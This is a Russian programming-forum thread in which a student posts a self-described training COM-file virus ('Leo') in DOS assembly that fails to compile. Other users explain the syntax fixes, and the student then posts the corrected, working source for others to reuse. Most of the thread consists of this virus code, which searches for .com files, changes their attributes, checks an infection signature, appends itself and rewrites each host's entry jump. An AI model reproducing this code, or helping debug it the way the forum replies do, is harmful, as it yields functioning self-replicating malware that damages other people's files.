Форум программистов, компьютерный форум, киберфорум
Assembler для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.80/5: Рейтинг темы: голосов - 5, средняя оценка - 4.80
2 / 2 / 2
Регистрация: 11.10.2016
Сообщений: 54
1

Исправить ошибки в коде (учебный вирус)

02.06.2018, 12:59. Показов 977. Ответов 5
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Есть учебный СОМ - вирус, но при компиляции возникают ошибки, помогите разобраться как исправить их пожалуйста.
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
 .286 ;Устанавливаем тип процессора
   CheckByte equ 0F0h
   ;Указываем, что регистры CS и DS содержат
   ;адрес сегмента кода программы
   assume cs:code, ds:code
   ;Начало сегмента кода. В конце программы сегмент кода нужно
   ;закрыть – ”code ends”
   code segment
   ;Устанавливаем смещения в сегменте кода.
   ;Данная строчка обязательна
   ;для COM−программы (все COM−программы
   ;начинаются с адреса 100h)
   org 100h
   start:
   ;Имитируем зараженный COM−файл.
   ;Тело вируса начинается с метки la
   ; jmp la
   db 0E9h ;Код команды JMP
   dw offset la–offset real
   real:
   ;Выходим из программы
   mov ah,4Ch
   int 21h
   ;Здесь начинается тело вируса
   la:
   ;Сохраняем регистры и флаги
   pushf
   pusha
   push ds es
   ;Получаем точку входа.
   ;Для этого вызываем подпрограмму (следующий
   ;за вызовом адрес) и читаем из стека адрес возврата
   call MySelf
   MySelf:
   pop bp
   ;Восстанавливаем первые три байта исходной программы
   mov al,[bp+(offset bytes_3[0]–offset MySelf)]
   mov byte ptr cs:[100h],al
   mov al,[bp+(offset bytes_3[1]–offset MySelf)]
   mov byte ptr cs:[101h],al
   mov al,[bp+(offset bytes_3[2]–offset MySelf)]
   mov byte ptr cs:[102h],al
   ;Дальнейшая задача вируса – найти новую жертву.
   ;Для этого используется функция 4Eh (Найти первый файл).
   ;Ищем файл с любыми атрибутами
   Find_First:
   ;Ищем первый файл по шаблону имени
   mov ah,4Eh
   mov dx,offset fname–offset myself
   add dx,bp
   mov cx,00100111b
   int 21h
   ;Если файл найден – переходим к смене атрибутов, иначе выходим
   ;из вируса (здесь нет подходящих для заражения файлов)
   jnc attributes
   jmp exit
   attributes:
   ;Читаем оригинальные атрибуты файла
   mov ax,4300h
   mov dx,9Eh ;Адрес имени файла
   int 21h
   ;Сохраняем оригинальные атрибуты файла
   push cx
   ;Устанавливаем новые атрибуты файла
   mov ax,4301h
   mov dx,9Eh ;Адрес имени файла
   mov cx,20h
   int 21h
   ;Переходим к открытию файла
   jmp Open
   ;Ищем следующий файл, так как предыдущий не подходит
   Find_Next:
   ;Восстанавливаем оригинальные атрибуты файла
   mov ax,4301h
   mov dx,9Eh ;Адрес имени файла
   pop cx
   int 21h
   ;Закрываем файл
   mov ah,3Eh
   int 21h
   ;Ищем следующий файл
   mov ah,4Fh
   int 21h
   ;Если файл найден – переходим к смене атрибутов, иначе выходим
   ;из вируса (здесь нет подходящих для заражения файлов)
   jnc attributes
   jmp exit
   ;Открываем файл
   Open:
   mov ax,3D02h
   mov dx,9Eh
   int 21h
   ;Если при открытии файла ошибок не произошло –
   ;переходим к чтению, иначе выходим из вируса
   jnc See_Him
   jmp exit
   ;Читаем первый байт файла
   See_Him:
   xchg bx,ax
   mov ah,3Fh
   mov dx,offset buf–offset myself
   add dx,bp
   xor cx,cx ;CX=0
   inc cx ;(увеличение на 1) CX=1
   int 21h
   ;Сравниваем. Если первый байт файла
   ;не E9h, то переходим к поиску следующего файла –
   ;этот для заражения не подходит
   cmp byte ptr [bp+(offset buf–offset myself)],0E9h
   jne find_next
   ;Переходим в начало файла
   mov ax,4200h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Читаем первые три байта файла в тело вируса
   See_Him2:
   mov ah,3Fh
   mov dx,offset bytes_3–offset myself
   add dx,bp
   mov cx,3
   int 21h
   ;Получаем длину файла, для чего переходим в конец файла
   Testik:
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h
   Size_test:
   ;Сохраняем полученную длину файла
   mov [bp+(offset flen−offset MySelf)],ax
   ;Проверяем длину файла
   cmp ax,64000
   ;Если файл не больше 64000 байт,– переходим
   ;к следующей проверке,
   ;иначе ищем другой файл (этот слишком велик для заражения)
   jna rich_test
   jmp find_next
   ;Проверим, не заражен ли файл.
   ;Для этого проверим сигнатуру вируса
   Rich_test:
   ;Переходим в конец файла (на последний байт)
   mov ax,4200h
   xor cx,cx
   mov dx,[bp+(offset flen−offset MySelf)]
   dec dx
   int 21h
   ;Читаем сигнатуру вируса
   Read:
   mov ah,3Fh
   xor cx,cx
   inc cx
   mov dx,offset bytik–offset myself
   add dx,bp
   int 21h
   ;Если при чтении файла ошибок
   ;не произошло – проверяем сигнатуру,
   ;иначе ищем следующий файл
   jnc test_bytik
   jmp find_next
   ;Проверяем сигнатуру
   Test_bytik:
   cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte
   ;Если сигнатура есть, то ищем другой файл,
   ;если нет – будем заражать
   jne Not_infected
   jmp find_next
   ;Файл не заражен – будем заражать
   Not_infected:
   mov ax,[bp+(offset flen−offset myself)]
   sub ax,03h
   mov [bp+(offset jmp_cmd−offset myself)],ax
   I_am_copy:
   ;Переходим в конец файла
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Устанавливаем регистр DS на сегмент кода
   push cs
   pop ds
   ;Копируем вирус в файл
   mov ah,40h
   mov cx,offset VirEnd–offset la
   mov dx,bp
   sub dx,offset myself−offset la
   int 21h
   ;Записываем в начало файла переход на тело вируса
   Write_Jmp:
   ;Переходим в начало файла
   xor cx,cx
   xor dx,dx
   mov ax,4200h
   int 21h
   ;Записываем первые три байта файла (переход на тело вируса)
   mov ah,40h
   mov cx,3
   mov dx,offset jmpvir–offset myself
   add dx,bp
   int 21h
   ;Закрываем файл
   Close:
   mov ah,3Eh
   int 21h
   ;Восстанавливаем оригинальные атрибуты файла
   mov ax,4301h
   mov dx,9Eh
   pop cx
   int 21h
   exit:
   ;Восстанавливаем первоначальные значения регистров и флагов
   pop es ds
   popa
   popf
   ;Передаем управление программе−носителю
   push 100h
   retn
   ;Байт для чтения сигнатуры
   bytik db (?)
   ;Зарезервировано для изменения трех байт вируса
   jmpvir db 0E9h
   jmp_cmd dw (?)
   ;Длина файла
   flen dw (?)
   ;Шаблон для поиска файлов
   fname db*.com”,0
   ;Область для хранения команды перехода
   bytes_3 db 90h, 90h, 90h
   ;Байт памяти для чтения первого байта файла
   ;с целью проверки (E9h)
   buf db (?)
   ;Название вируса
   virus_name db ”Leo”
   ;Сигнатура
   a db CheckByte
   VirEnd:
   code ends
   end start
Выдает вот такие ошибки:
02.06.2018 12:58:27 : **Error** LEO.asm(19) Undefined symbol: LA?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(37) Need right parenthesis
02.06.2018 12:58:27 : **Error** LEO.asm(39) Need right parenthesis
02.06.2018 12:58:27 : **Error** LEO.asm(41) Need right parenthesis
02.06.2018 12:58:27 : **Error** LEO.asm(49) Undefined symbol: FNAME?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(101) Undefined symbol: BUF?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(109) Undefined symbol: BUF?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(119) Undefined symbol: BYTES_3?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(131) Undefined symbol: FLEN?OFFSET
02.06.2018 12:58:27 : *Warning* LEO.asm(131) Argument needs type override
02.06.2018 12:58:27 : **Error** LEO.asm(145) Undefined symbol: FLEN?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(153) Undefined symbol: BYTIK?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(163) Undefined symbol: BYTIK?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(170) Undefined symbol: FLEN?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(172) Undefined symbol: JMP_CMD?OFFSET
02.06.2018 12:58:27 : *Warning* LEO.asm(172) Argument needs type override
02.06.2018 12:58:27 : **Error** LEO.asm(184) Undefined symbol: VIREND?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(186) Undefined symbol: MYSELF?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(198) Undefined symbol: JMPVIR?OFFSET
02.06.2018 12:58:27 : **Error** LEO.asm(226) Undefined symbol: .
02.06.2018 12:58:27 : **Error** LEO.asm(233) Undefined symbol: ?LEO?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
02.06.2018, 12:59
Ответы с готовыми решениями:

Найти ошибки в коде и исправить эти ошибки (Наследование)
Вот в общем 3 файла, изучаю наследование на примере односвязного и двусвязного списков: list.h...

Найти ошибки в коде и исправить эти ошибки
Есть у меня вот такой код: #include <iostream> using namespace std; class A{ private:...

Найти ошибки в коде и исправить эти ошибки - C++
Судя по вываливающейся ошибки, идет двойное освобождение памяти. У самого не получается отловить...

Ошибки при компиляции - исправить ошибки в коде
Помогите исправить ошибки , не понимаю в чем может быть причина ... #include <conio.h>...

5
Ушел с форума
Автор FAQ
16279 / 7604 / 1065
Регистрация: 11.11.2010
Сообщений: 13,617
02.06.2018, 13:20 2
Jenya16,
  1. для начала, замени выражения типа offset X–offset Y на X - Y
  2. воспользуйся google translator, разберись с типами ошибок и тогда сможешь исправить их самостоятельно
2
2 / 2 / 2
Регистрация: 11.10.2016
Сообщений: 54
02.06.2018, 16:16  [ТС] 3
Подскажите пожалуйста, как быть дальше пожалуйста.
Поубирал offset но всеравно много ошибок.
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
.286 ;Устанавливаем тип процессора
   CheckByte equ 0F0h
   ;Указываем, что регистры CS и DS содержат
   ;адрес сегмента кода программы
   assume cs:code, ds:code
   ;Начало сегмента кода. В конце программы сегмент кода нужно
   ;закрыть – ”code ends”
   code segment
   ;Устанавливаем смещения в сегменте кода.
   ;Данная строчка обязательна
   ;для COM−программы (все COM−программы
   ;начинаются с адреса 100h)
   org 100h
   start:
   ;Имитируем зараженный COM−файл.
   ;Тело вируса начинается с метки la
   jmp la
   db 0E9h ;Код команды JMP
   dw la – real
   real:
   ;Выходим из программы
   mov ah,4Ch
   int 21h
   ;Здесь начинается тело вируса
   la:
   ;Сохраняем регистры и флаги
   pushf
   pusha
   push ds es
   ;Получаем точку входа.
   ;Для этого вызываем подпрограмму (следующий
   ;за вызовом адрес) и читаем из стека адрес возврата
   call MySelf
   MySelf:
   pop bp
   ;Восстанавливаем первые три байта исходной программы
   mov al,[bp+(bytes_3[0]–MySelf)]
   mov byte ptr cs:[100h],al
   mov al,[bp+(bytes_3[1]–MySelf)]
   mov byte ptr cs:[101h],al
   mov al,[bp+(bytes_3[2]–MySelf)]
   mov byte ptr cs:[102h],al
   ;Дальнейшая задача вируса – найти новую жертву.
   ;Для этого используется функция 4Eh (Найти первый файл).
   ;Ищем файл с любыми атрибутами
   Find_First:
   ;Ищем первый файл по шаблону имени
   mov ah,4Eh
   mov dx,fname–myself
   add dx,bp
   mov cx,00100111b
   int 21h
   ;Если файл найден – переходим к смене атрибутов, иначе выходим
   ;из вируса (здесь нет подходящих для заражения файлов)
   jnc attributes
   jmp exit
   attributes:
   ;Читаем оригинальные атрибуты файла
   mov ax,4300h
   mov dx,9Eh ;Адрес имени файла
   int 21h
   ;Сохраняем оригинальные атрибуты файла
   push cx
   ;Устанавливаем новые атрибуты файла
   mov ax,4301h
   mov dx,9Eh ;Адрес имени файла
   mov cx,20h
   int 21h
   ;Переходим к открытию файла
   jmp Open
   ;Ищем следующий файл, так как предыдущий не подходит
   Find_Next:
   ;Восстанавливаем оригинальные атрибуты файла
   mov ax,4301h
   mov dx,9Eh ;Адрес имени файла
   pop cx
   int 21h
   ;Закрываем файл
   mov ah,3Eh
   int 21h
   ;Ищем следующий файл
   mov ah,4Fh
   int 21h
   ;Если файл найден – переходим к смене атрибутов, иначе выходим
   ;из вируса (здесь нет подходящих для заражения файлов)
   jnc attributes
   jmp exit
   ;Открываем файл
   Open:
   mov ax,3D02h
   mov dx,9Eh
   int 21h
   ;Если при открытии файла ошибок не произошло –
   ;переходим к чтению, иначе выходим из вируса
   jnc See_Him
   jmp exit
   ;Читаем первый байт файла
   See_Him:
   xchg bx,ax
   mov ah,3Fh
   mov dx,buf–myself
   add dx,bp
   xor cx,cx ;CX=0
   inc cx ;(увеличение на 1) CX=1
   int 21h
   ;Сравниваем. Если первый байт файла
   ;не E9h, то переходим к поиску следующего файла –
   ;этот для заражения не подходит
   cmp byte ptr [bp+(buf–myself)],0E9h
   jne find_next
   ;Переходим в начало файла
   mov ax,4200h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Читаем первые три байта файла в тело вируса
   See_Him2:
   mov ah,3Fh
   mov dx,bytes_3–myself
   add dx,bp
   mov cx,3
   int 21h
   ;Получаем длину файла, для чего переходим в конец файла
   Testik:
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h
   Size_test:
   ;Сохраняем полученную длину файла
   mov [bp+(flen−MySelf)],ax
   ;Проверяем длину файла
   cmp ax,64000
   ;Если файл не больше 64000 байт,– переходим
   ;к следующей проверке,
   ;иначе ищем другой файл (этот слишком велик для заражения)
   jna rich_test
   jmp find_next
   ;Проверим, не заражен ли файл.
   ;Для этого проверим сигнатуру вируса
   Rich_test:
   ;Переходим в конец файла (на последний байт)
   mov ax,4200h
   xor cx,cx
   mov dx,[bp+(flen − MySelf)]
   dec dx
   int 21h
   ;Читаем сигнатуру вируса
   Read:
   mov ah,3Fh
   xor cx,cx
   inc cx
   mov dx,bytik–myself
   add dx,bp
   int 21h
   ;Если при чтении файла ошибок
   ;не произошло – проверяем сигнатуру,
   ;иначе ищем следующий файл
   jnc test_bytik
   jmp find_next
   ;Проверяем сигнатуру
   Test_bytik:
   cmp byte ptr [bp+(bytik−myself)],CheckByte
   ;Если сигнатура есть, то ищем другой файл,
   ;если нет – будем заражать
   jne Not_infected
   jmp find_next
   ;Файл не заражен – будем заражать
   Not_infected:
   mov ax,[bp+(flen−myself)]
   sub ax,03h
   mov [bp+(jmp_cmd−myself)],ax
   I_am_copy:
   ;Переходим в конец файла
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Устанавливаем регистр DS на сегмент кода
   push cs
   pop ds
   ;Копируем вирус в файл
   mov ah,40h
   mov cx,VirEnd–la
   mov dx,bp
   sub dx,myself−la
   int 21h
   ;Записываем в начало файла переход на тело вируса
   Write_Jmp:
   ;Переходим в начало файла
   xor cx,cx
   xor dx,dx
   mov ax,4200h
   int 21h
   ;Записываем первые три байта файла (переход на тело вируса)
   mov ah,40h
   mov cx,3
   mov dx,jmpvir–myself
   add dx,bp
   int 21h
   ;Закрываем файл
   Close:
   mov ah,3Eh
   int 21h
   ;Восстанавливаем оригинальные атрибуты файла
   mov ax,4301h
   mov dx,9Eh
   pop cx
   int 21h
   exit:
   ;Восстанавливаем первоначальные значения регистров и флагов
   pop es ds
   popa
   popf
   ;Передаем управление программе−носителю
   push 100h
   retn
   ;Байт для чтения сигнатуры
   bytik db (?)
   ;Зарезервировано для изменения трех байт вируса
   jmpvir db 0E9h
   jmp_cmd dw (?)
   ;Длина файла
   flen dw (?)
   ;Шаблон для поиска файлов
   fname db "*.com"0
   ;Область для хранения команды перехода
   bytes_3 db 90h, 90h, 90h
   ;Байт памяти для чтения первого байта файла
   ;с целью проверки (E9h)
   buf db (?)
   ;Название вируса
   virus_name db ”Leo”
   ;Сигнатура
   a db CheckByte
   VirEnd:
   code ends
   end start
Вот какие ошибки:
02.06.2018 16:15:07 : **Error** LEO.asm(19) Extra characters on line
02.06.2018 16:15:07 : **Error** LEO.asm(37) Need right parenthesis
02.06.2018 16:15:07 : **Error** LEO.asm(39) Need right parenthesis
02.06.2018 16:15:07 : **Error** LEO.asm(41) Need right parenthesis
02.06.2018 16:15:07 : **Error** LEO.asm(49) Undefined symbol: FNAME?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(101) Undefined symbol: BUF?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(109) Undefined symbol: BUF?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(119) Undefined symbol: BYTES_3?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(131) Undefined symbol: FLEN?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(145) Need right parenthesis
02.06.2018 16:15:07 : **Error** LEO.asm(153) Undefined symbol: BYTIK?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(163) Undefined symbol: BYTIK?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(170) Undefined symbol: FLEN?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(172) Undefined symbol: JMP_CMD?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(184) Undefined symbol: VIREND?LA
02.06.2018 16:15:07 : **Error** LEO.asm(186) Undefined symbol: MYSELF?LA
02.06.2018 16:15:07 : **Error** LEO.asm(198) Undefined symbol: JMPVIR?MYSELF
02.06.2018 16:15:07 : **Error** LEO.asm(226) Extra characters on line
02.06.2018 16:15:07 : **Error** LEO.asm(233) Undefined symbol: ?LEO?
02.06.2018 16:15:07 : Error messages: 19
0
Ушел с форума
Автор FAQ
16279 / 7604 / 1065
Регистрация: 11.11.2010
Сообщений: 13,617
02.06.2018, 16:29 4
Jenya16,
с типами ошибок разобрался? (с английского перевел?)
вот типовая ошибка у тебя
02.06.2018 16:15:07 : **Error** LEO.asm(41) Need right parenthesis
в файле LEO.asm на строке 41 (LEO.asm(41)) требуется правая скобка, смотрим строку 41
Assembler
41
mov al,[bp+(bytes_3[2]–MySelf)]
обилие скобок, квадратных и круглых, попробуй написать вот так
mov al,[bp+bytes_3+2–MySelf] исчезла ошибка?
3
Прощай, Мир!
1672 / 830 / 253
Регистрация: 26.05.2012
Сообщений: 3,056
03.06.2018, 00:49 5
Цитата Сообщение от Jenya16 Посмотреть сообщение
fname db "*.com"0
казнить нельзя помиловать.. все-таки поставь запятую..
Assembler
1
fname db "*.com", 0
также попробуй везде где ошибка Underfined symbol заменить знаки тире на минус..
3
2 / 2 / 2
Регистрация: 11.10.2016
Сообщений: 54
03.06.2018, 10:13  [ТС] 6
Всем спасибо огромное) Все поисправлял заработало) Оставлю код тут, может понадобится кому-то.
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
.286 ;Устанавливаем тип процессора
   CheckByte equ 0F0h
   ;Указываем, что регистры CS и DS содержат
   ;адрес сегмента кода программы
   assume cs:code, ds:code
   ;Начало сегмента кода. В конце программы сегмент кода нужно
   ;закрыть – ”code ends”
   code segment
   ;Устанавливаем смещения в сегменте кода.
   ;Данная строчка обязательна
   ;для COMв€’программы (все COMв€’программы
   ;начинаются с адреса 100h)
   org 100h
   start:
   ;Имитируем зараженный COMв€’файл.
   ;Тело вируса начинается с метки la
   jmp la
   db 0E9h ;Код команды JMP
   dw la-real
   real:
   ;Выходим из программы
   mov ah,4Ch
   int 21h
   ;Здесь начинается тело вируса
   la:
   ;Сохраняем регистры и флаги
   pushf
   pusha
   push ds es
   ;Получаем точку входа.
   ;Для этого вызываем подпрограмму (следующий
   ;за вызовом адрес) и читаем из стека адрес возврата
   call MySelf
   MySelf:
   pop bp
   ;Восстанавливаем первые три байта исходной программы
   mov al,[bp+bytes_3[0]-MySelf]
   mov byte ptr cs:[100h],al
   mov al,[bp+bytes_3[1]-MySelf]
   mov byte ptr cs:[101h],al
   mov al,[bp+bytes_3[2]-MySelf]
   mov byte ptr cs:[102h],al
   ;Дальнейшая задача вируса – найти новую жертву.
   ;Для этого используется функция 4Eh (Найти первый файл).
   ;Ищем файл с любыми атрибутами
   Find_First:
   ;Ищем первый файл по шаблону имени
   mov ah,4Eh
   mov dx,fname-myself
   add dx,bp
   mov cx,00100111b
   int 21h
   ;Если файл найден – переходим к смене атрибутов, иначе выходим
   ;из вируса (здесь нет подходящих для заражения файлов)
   jnc attributes
   jmp exit
   attributes:
   ;Читаем оригинальные атрибуты файла
   mov ax,4300h
   mov dx,9Eh ;Адрес имени файла
   int 21h
   ;Сохраняем оригинальные атрибуты файла
   push cx
   ;Устанавливаем новые атрибуты файла
   mov ax,4301h
   mov dx,9Eh ;Адрес имени файла
   mov cx,20h
   int 21h
   ;Переходим к открытию файла
   jmp Open
   ;Ищем следующий файл, так как предыдущий не подходит
   Find_Next:
   ;Восстанавливаем оригинальные атрибуты файла
   mov ax,4301h
   mov dx,9Eh ;Адрес имени файла
   pop cx
   int 21h
   ;Закрываем файл
   mov ah,3Eh
   int 21h
   ;Ищем следующий файл
   mov ah,4Fh
   int 21h
   ;Если файл найден – переходим к смене атрибутов, иначе выходим
   ;из вируса (здесь нет подходящих для заражения файлов)
   jnc attributes
   jmp exit
   ;Открываем файл
   Open:
   mov ax,3D02h
   mov dx,9Eh
   int 21h
   ;Если при открытии файла ошибок не произошло –
   ;переходим к чтению, иначе выходим из вируса
   jnc See_Him
   jmp exit
   ;Читаем первый байт файла
   See_Him:
   xchg bx,ax
   mov ah,3Fh
   mov dx,buf-myself
   add dx,bp
   xor cx,cx ;CX=0
   inc cx ;(увеличение на 1) CX=1
   int 21h
   ;Сравниваем. Если первый байт файла
   ;не E9h, то переходим к поиску следующего файла –
   ;этот для заражения не подходит
   cmp byte ptr [bp+buf-myself],0E9h
   jne find_next
   ;Переходим в начало файла
   mov ax,4200h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Читаем первые три байта файла в тело вируса
   See_Him2:
   mov ah,3Fh
   mov dx,bytes_3-myself
   add dx,bp
   mov cx,3
   int 21h
   ;Получаем длину файла, для чего переходим в конец файла
   Testik:
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h
   Size_test:
   ;Сохраняем полученную длину файла
   mov [bp+flen-MySelf],ax
   ;Проверяем длину файла
   cmp ax,64000
   ;Если файл не больше 64000 байт,– переходим
   ;к следующей проверке,
   ;иначе ищем другой файл (этот слишком велик для заражения)
   jna rich_test
   jmp find_next
   ;Проверим, не заражен ли файл.
   ;Для этого проверим сигнатуру вируса
   Rich_test:
   ;Переходим в конец файла (на последний байт)
   mov ax,4200h
   xor cx,cx
   mov dx,[bp+flen-MySelf]
   dec dx
   int 21h
   ;Читаем сигнатуру вируса
   Read:
   mov ah,3Fh
   xor cx,cx
   inc cx
   mov dx,bytik-myself
   add dx,bp
   int 21h
   ;Если при чтении файла ошибок
   ;не произошло – проверяем сигнатуру,
   ;иначе ищем следующий файл
   jnc test_bytik
   jmp find_next
   ;Проверяем сигнатуру
   Test_bytik:
   cmp byte ptr [bp+bytik-myself],CheckByte
   ;Если сигнатура есть, то ищем другой файл,
   ;если нет – будем заражать
   jne Not_infected
   jmp find_next
   ;Файл не заражен – будем заражать
   Not_infected:
   mov ax,[bp+flen-myself]
   sub ax,03h
   mov [bp+jmp_cmd-myself],ax
   I_am_copy:
   ;Переходим в конец файла
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Устанавливаем регистр DS на сегмент кода
   push cs
   pop ds
   ;Копируем вирус в файл
   mov ah,40h
   mov cx,VirEnd-la
   mov dx,bp
   sub dx,myself-la
   int 21h
   ;Записываем в начало файла переход на тело вируса
   Write_Jmp:
   ;Переходим в начало файла
   xor cx,cx
   xor dx,dx
   mov ax,4200h
   int 21h
   ;Записываем первые три байта файла (переход на тело вируса)
   mov ah,40h
   mov cx,3
   mov dx,jmpvir-myself
   add dx,bp
   int 21h
   ;Закрываем файл
   Close:
   mov ah,3Eh
   int 21h
   ;Восстанавливаем оригинальные атрибуты файла
   mov ax,4301h
   mov dx,9Eh
   pop cx
   int 21h
   exit:
   ;Восстанавливаем первоначальные значения регистров и флагов
   pop es ds
   popa
   popf
   ;Передаем управление программев€’носителю
   push 100h
   retn
   ;Байт для чтения сигнатуры
   bytik db (?)
   ;Зарезервировано для изменения трех байт вируса
   jmpvir db 0E9h
   jmp_cmd dw (?)
   ;Длина файла
   flen dw (?)
   ;Шаблон для поиска файлов
   fname db "*.com",0
   ;Область для хранения команды перехода
   bytes_3 db 90h, 90h, 90h
   ;Байт памяти для чтения первого байта файла
   ;с целью проверки (E9h)
   buf db (?)
   ;Название вируса
   virus_name db "Leo"
   ;Сигнатура
   a db CheckByte
   VirEnd:
   code ends
   end start
0
03.06.2018, 10:13
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
03.06.2018, 10:13
Помогаю со студенческими работами здесь

Исправить ошибки в коде
как исправить ошибки где я допустил их

Исправить ошибки в коде
на while program thre; uses crt; var y,dx,a,x,f:real; begin a:=-0.51; dx:=0.5; x:=2; while...

Исправить ошибки в коде
Возникла проблема при написании программы. Выдаются ошибки которых нет на самом деле. помогите,...

Исправить ошибки в коде
int _tmain(int argc, _TCHAR* argv) { return 0; } #include "stdio.h" #include "conio.h"...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru